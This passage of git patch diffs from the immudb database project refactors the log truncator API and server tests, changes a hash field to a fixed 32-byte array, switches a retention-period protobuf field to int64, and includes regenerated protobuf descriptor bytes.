require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = c.Truncate(hdr) + err = c.Truncate(hdr.ID) require.NoError(t, err) for i := hdr.ID; i <= 20; i++ { diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index b8e5a33f0c..78d58868a1 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -43,7 +43,7 @@ type Truncator interface { // Truncate runs truncation against the relevant appendable logs. Must // be called after result of Plan(). - Truncate(*store.TxHeader) error + Truncate(txID uint64) error } func NewVlogTruncator(d DB) Truncator { @@ -90,7 +90,7 @@ func (v *vlogTruncator) isRetentionPeriodReached(retentionPeriod time.Time, txTi } // commitCatalog commits the current sql catalogue as a new transaction. -func (v *vlogTruncator) commitCatalog(hdr *store.TxHeader) (*store.TxHeader, error) { +func (v *vlogTruncator) commitCatalog(txID uint64) (*store.TxHeader, error) { // copy sql catalogue ctx := context.Background() tx, err := v.db.st.NewTx(ctx, store.DefaultTxOptions()) @@ -100,37 +100,37 @@ func (v *vlogTruncator) commitCatalog(hdr *store.TxHeader) (*store.TxHeader, err err = v.db.CopyCatalogToTx(ctx, tx) if err != nil { - v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", v.db.name, err, hdr.ID) + v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", v.db.name, err, txID) return nil, err } defer tx.Cancel() // setting the metadata to record the transaction upto which the log was truncated - tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(hdr.ID)) + tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(txID)) // commit catalogue as a new transaction return tx.Commit(context.Background()) } // Truncate runs truncation against the relevant appendable logs upto the specified transaction offset. -func (v *vlogTruncator) Truncate(hdr *store.TxHeader) error { +func (v *vlogTruncator) Truncate(txID uint64) error { defer func(t time.Time) { v.metrics.ran.Inc() v.metrics.duration.Observe(time.Since(t).Seconds()) }(time.Now()) - v.db.Logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.name, hdr.ID) + v.db.Logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.name, txID) // copy sql catalogue - sqlCommitHdr, err := v.commitCatalog(hdr) + sqlCommitHdr, err := v.commitCatalog(txID) if err != nil { - v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.name, err, hdr.ID) + v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.name, err, txID) return err } v.db.Logger.Infof("committed sql catalog before truncation for database '%s' at tx %d", v.db.name, sqlCommitHdr.ID) - // truncate upto hdr.ID - err = v.db.st.TruncateUptoTx(hdr.ID) + // truncate upto txID + err = v.db.st.TruncateUptoTx(txID) if err != nil { - v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=truncate_upto}", v.db.name, err, hdr.ID) + v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=truncate_upto}", v.db.name, err, txID) } return err diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index ca479fce84..d9adfa6d08 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -92,7 +92,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) for i := deletePointTx; i <= 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -128,7 +128,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) for i := deletePointTx; i <= 10; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -183,7 +183,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) for i := deletePointTx; i <= 30; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -323,7 +323,7 @@ func Test_vlogCompactor_with_sql(t *testing.T) { hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -395,7 +395,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) // ensure that a transaction is added for the sql catalog commit require.Equal(t, uint64(2), db.st.LastCommittedTxID()) @@ -452,7 +452,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { hdr, err := db.st.ReadTxHeader(lastCommitTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -481,7 +481,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -603,7 +603,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr)) + require.NoError(t, c.Truncate(hdr.ID)) close(doneTruncateCh) }() diff --git a/pkg/server/server.go b/pkg/server/server.go index 8a1eb7cf0a..0f0f8af127 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1680,7 +1680,7 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD } rp := time.Duration(req.RetentionPeriod.Value) * time.Millisecond - truncator := truncator.NewTruncator(db, s.Logger) + truncator := truncator.NewTruncator(db, rp, 0, s.Logger) err = truncator.Truncate(rp) if err != nil { return nil, err diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 2eabc0f6c1..d03ea2ebb7 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2042,17 +2042,13 @@ func TestServerDatabaseTruncate(t *testing.T) { s.Initialize() - r := &schema.LoginRequest{ - User: []byte(auth.SysAdminUsername), - Password: []byte(auth.SysAdminPassword), - } - - ctx := context.Background() - lr, err := s.Login(ctx, r) + resp, err := s.OpenSession(context.Background(), &schema.OpenSessionRequest{ + Username: []byte(auth.SysAdminUsername), + Password: []byte(auth.SysAdminPassword), + DatabaseName: DefaultDBName, + }) require.NoError(t, err) - - md := metadata.Pairs("authorization", lr.Token) - ctx = metadata.NewIncomingContext(context.Background(), md) + ctx := metadata.NewIncomingContext(context.TODO(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) t.Run("attempt to delete without retention period should fail", func(t *testing.T) { _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ @@ -2090,13 +2086,10 @@ func TestServerDatabaseTruncate(t *testing.T) { }) t.Run("attempt to delete with retention period >= 1 day should fail if retention period is not reached", func(t *testing.T) { - uR, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) + _, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) require.NoError(t, err) for i := 0; i < 64; i++ { - md := metadata.Pairs("authorization", uR.Token) - ctx := metadata.NewIncomingContext(context.Background(), md) - _, err = s.Set(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{ { @@ -2116,4 +2109,7 @@ func TestServerDatabaseTruncate(t *testing.T) { }) require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) }) + + _, err = s.CloseSession(ctx, &emptypb.Empty{}) + require.NoError(t, err) } diff --git a/pkg/server/truncator.go b/pkg/server/truncator.go index 4fdb022f1a..5227156a43 100644 --- a/pkg/server/truncator.go +++ b/pkg/server/truncator.go @@ -17,6 +17,8 @@ limitations under the License. package server import ( + "time" + "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/truncator" ) @@ -39,7 +41,10 @@ func (s *ImmuServer) startTruncatorFor(db database.DB, dbOpts *dbOptions) error return database.ErrTruncatorAlreadyRunning } - t := truncator.NewTruncator(db, s.Logger) + rp := time.Millisecond * time.Duration(dbOpts.RetentionPeriod) + tf := time.Millisecond * time.Duration(dbOpts.TruncationFrequency) + + t := truncator.NewTruncator(db, rp, tf, s.Logger) err := t.Start() if err != nil { return err @@ -80,6 +85,8 @@ func (s *ImmuServer) stopTruncation() { err := f.Stop() if err != nil { s.Logger.Warningf("Error stopping truncator for '%s'. Reason: %v", db, err) + } else { + delete(s.truncators, db) } } } diff --git a/pkg/server/truncator_test.go b/pkg/server/truncator_test.go index fbac71596a..45c79f0fa0 100644 --- a/pkg/server/truncator_test.go +++ b/pkg/server/truncator_test.go @@ -82,5 +82,67 @@ func TestServerTruncator(t *testing.T) { err = s.stopTruncatorFor("db2") require.ErrorIs(t, err, ErrTruncatorNotInProgress) + err = s.startTruncatorFor(db, dbOpts) + require.NoError(t, err) + s.stopTruncation() } + +func TestServerLoadDatabaseWithRetention(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword) + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + + s.Initialize() + + r := &schema.LoginRequest{ + User: []byte(auth.SysAdminUsername), + Password: []byte(auth.SysAdminPassword), + } + ctx := context.Background() + lr, err := s.Login(ctx, r) + require.NoError(t, err) + + md := metadata.Pairs("authorization", lr.Token) + ctx = metadata.NewIncomingContext(context.Background(), md) + + dt := 24 * time.Hour + newdb := &schema.CreateDatabaseRequest{ + Name: testDatabase, + Settings: &schema.DatabaseNullableSettings{ + TruncationSettings: &schema.TruncationNullableSettings{ + RetentionPeriod: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, + TruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, + }, + }, + } + _, err = s.CreateDatabaseV2(ctx, newdb) + require.NoError(t, err) + + err = s.CloseDatabases() + require.NoError(t, err) + + s.dbList = database.NewDatabaseList() + s.sysDB = nil + + t.Run("attempt to load database should pass", func(t *testing.T) { + err = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword, false) + require.NoError(t, err) + + err = s.loadDefaultDatabase(s.Options.Dir, nil) + require.NoError(t, err) + + err = s.loadUserDatabases(s.Options.Dir, nil) + require.NoError(t, err) + }) + + t.Run("attempt to unload user database should pass", func(t *testing.T) { + _, err = s.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: testDatabase}) + require.NoError(t, err) + }) +} diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index 52a594bfef..2f3f88ef5a 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -31,14 +31,20 @@ var ( ErrTruncatorAlreadyStopped = errors.New("truncator already stopped") ) -func NewTruncator(db database.DB, logger logger.Logger) *Truncator { +func NewTruncator( + db database.DB, + retentionPeriod time.Duration, + truncationFrequency time.Duration, + logger logger.Logger) *Truncator { t := &Truncator{ - db: db, - logger: logger, - retentionPeriodF: getRetentionPeriod, - truncators: make([]database.Truncator, 0), - donech: make(chan struct{}), - stopch: make(chan struct{}), + db: db, + logger: logger, + retentionPeriodF: getRetentionPeriod, + truncators: make([]database.Truncator, 0), + donech: make(chan struct{}), + stopch: make(chan struct{}), + retentionPeriod: retentionPeriod, + truncationFrequency: truncationFrequency, } t.truncators = append(t.truncators, database.NewVlogTruncator(db)) return t @@ -53,6 +59,9 @@ type Truncator struct { db database.DB + retentionPeriod time.Duration + truncationFrequency time.Duration + logger logger.Logger retentionPeriodF func(ts time.Time, retentionPeriod time.Duration) time.Time @@ -69,12 +78,11 @@ func (t *Truncator) Start() error { return ErrTruncatorAlreadyRunning } - opts := t.db.GetOptions() t.hasStarted = true - t.logger.Infof("starting truncator for database '%s' with retention period '%v' and truncation frequency '%v'", t.db.GetName(), opts.RetentionPeriod.Seconds(), opts.TruncationFrequency.Seconds()) + t.logger.Infof("starting truncator for database '%s' with retention period '%vs' and truncation frequency '%vs'", t.db.GetName(), t.retentionPeriod.Seconds(), t.truncationFrequency.Seconds()) go func() { - ticker := time.NewTicker(opts.TruncationFrequency) + ticker := time.NewTicker(t.truncationFrequency) for { select { case <-t.stopch: @@ -89,7 +97,7 @@ func (t *Truncator) Start() error { // considered safe for deletion. // Truncate time to the beginning of the day. - ts := t.retentionPeriodF(time.Now(), opts.RetentionPeriod) + ts := t.retentionPeriodF(time.Now(), t.retentionPeriod) t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), ts) if err := t.truncate(ts); err != nil { if errors.Is(err, database.ErrRetentionPeriodNotReached) { @@ -102,7 +110,6 @@ func (t *Truncator) Start() error { } else { t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), ts) } - t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), ts) } } }() @@ -138,9 +145,10 @@ func (t *Truncator) truncate(ts time.Time) error { // Truncate discards the appendable log upto the offset // specified in the transaction hdr - err = c.Truncate(hdr) + err = c.Truncate(hdr.ID) if err != nil { t.logger.Errorf("failed to truncate database '%s' {err = %v}", t.db.GetName(), err) + return err } } diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 8427a8327f..7192fd140c 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -55,7 +55,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { options.WithStoreOptions(so) db := makeDbWith(t, "db", options) - tr := NewTruncator(db, logger.NewSimpleLogger("immudb ", os.Stderr)) + tr := NewTruncator(db, 0, 0, logger.NewSimpleLogger("immudb ", os.Stderr)) tr.retentionPeriodF = func(ts time.Time, retentionPeriod time.Duration) time.Time { return ts.Add(-1 * retentionPeriod) } @@ -132,7 +132,7 @@ func TestTruncator(t *testing.T) { options.WithStoreOptions(so) db := makeDbWith(t, "db", options) - tr := NewTruncator(db, logger.NewSimpleLogger("immudb ", os.Stderr)) + tr := NewTruncator(db, 0, options.TruncationFrequency, logger.NewSimpleLogger("immudb ", os.Stderr)) err := tr.Stop() require.ErrorIs(t, err, ErrTruncatorAlreadyStopped) @@ -155,10 +155,9 @@ func TestTruncator_with_truncation_frequency(t *testing.T) { so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) so.MaxIOConcurrency = 1 options.WithStoreOptions(so) - options.WithTruncationFrequency(10 * time.Millisecond) db := makeDbWith(t, "db", options) - tr := NewTruncator(db, logger.NewSimpleLogger("immudb ", os.Stderr)) + tr := NewTruncator(db, 0, 10*time.Millisecond, logger.NewSimpleLogger("immudb ", os.Stderr)) err := tr.Start() require.NoError(t, err) From 7594940c4e72c1b992e9a0799337185175677206 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 25 Jan 2023 17:05:33 +0530 Subject: [PATCH 0178/1062] chore(embedded/store): add hashValue as fixed 32 byte size --- embedded/store/immustore.go | 6 +++--- embedded/store/ongoing_tx.go | 7 ++++--- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 1a64d7b587..931ac36c2e 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1174,7 +1174,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader txe.md = e.Metadata txe.vLen = len(e.Value) if e.isValueTruncated { - txe.hVal = byte32(e.hashValue) + txe.hVal = e.hashValue } else { txe.hVal = sha256.Sum256(e.Value) } @@ -2271,9 +2271,9 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI for _, e := range entries { var err error if isTruncated { - err = txSpec.set(e.Key, e.Metadata, nil, e.Value, isTruncated) + err = txSpec.set(e.Key, e.Metadata, nil, byte32(e.Value), isTruncated) } else { - err = txSpec.set(e.Key, e.Metadata, e.Value, nil, isTruncated) + err = txSpec.set(e.Key, e.Metadata, e.Value, e.hashValue, isTruncated) } if err != nil { return nil, err diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index b0004085c5..e487e43bbf 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -72,7 +72,7 @@ type EntrySpec struct { // hashValue is the hash of the value // if the actual value is truncated. This is // used during replication. - hashValue []byte + hashValue [sha256.Size]byte // isValueTruncated is true if the value is // truncated. This is used during replication. isValueTruncated bool @@ -190,7 +190,7 @@ func (tx *OngoingTx) Metadata() *TxMetadata { return tx.metadata } -func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue []byte, isValueTruncated bool) error { +func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated bool) error { if tx.closed { return ErrAlreadyClosed } @@ -248,7 +248,8 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue []b } func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { - return tx.set(key, md, value, nil, false) + var hashValue [sha256.Size]byte + return tx.set(key, md, value, hashValue, false) } func (tx *OngoingTx) AddPrecondition(c Precondition) error { From e75970937285e0b6449ee8c8458ea0fb6b68b8ae Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 25 Jan 2023 17:09:08 +0530 Subject: [PATCH 0179/1062] chore(pkg/api): change retention period in TruncateDatabase message to int64 --- pkg/api/schema/docs.md | 2 +- pkg/api/schema/schema.pb.go | 1191 ++++++++++++++-------------- pkg/api/schema/schema.proto | 2 +- pkg/api/schema/schema.swagger.json | 3 +- pkg/client/client.go | 2 +- pkg/server/server.go | 7 +- pkg/server/server_test.go | 6 +- 7 files changed, 604 insertions(+), 609 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index fcf891e6f9..2670bd5fd8 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -1744,7 +1744,7 @@ ServerInfoResponse contains information about the server instance. | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | -| retentionPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Retention Period of data | +| retentionPeriod | [int64](#int64) | | Retention Period of data | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 784d51c768..4a191c48be 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -8307,7 +8307,7 @@ type TruncateDatabaseRequest struct { // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // Retention Period of data - RetentionPeriod *NullableMilliseconds `protobuf:"bytes,2,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` + RetentionPeriod int64 `protobuf:"varint,2,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` } func (x *TruncateDatabaseRequest) Reset() { @@ -8349,11 +8349,11 @@ func (x *TruncateDatabaseRequest) GetDatabase() string { return "" } -func (x *TruncateDatabaseRequest) GetRetentionPeriod() *NullableMilliseconds { +func (x *TruncateDatabaseRequest) GetRetentionPeriod() int64 { if x != nil { return x.RetentionPeriod } - return nil + return 0 } type TruncateDatabaseResponse struct { @@ -9728,469 +9728,467 @@ var file_schema_proto_rawDesc = []byte{ 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, - 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, - 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, - 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, - 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, - 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, - 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, - 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, - 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, - 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, - 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, - 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, - 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, - 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, - 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, - 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, - 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, + 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, + 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, + 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, + 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, + 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 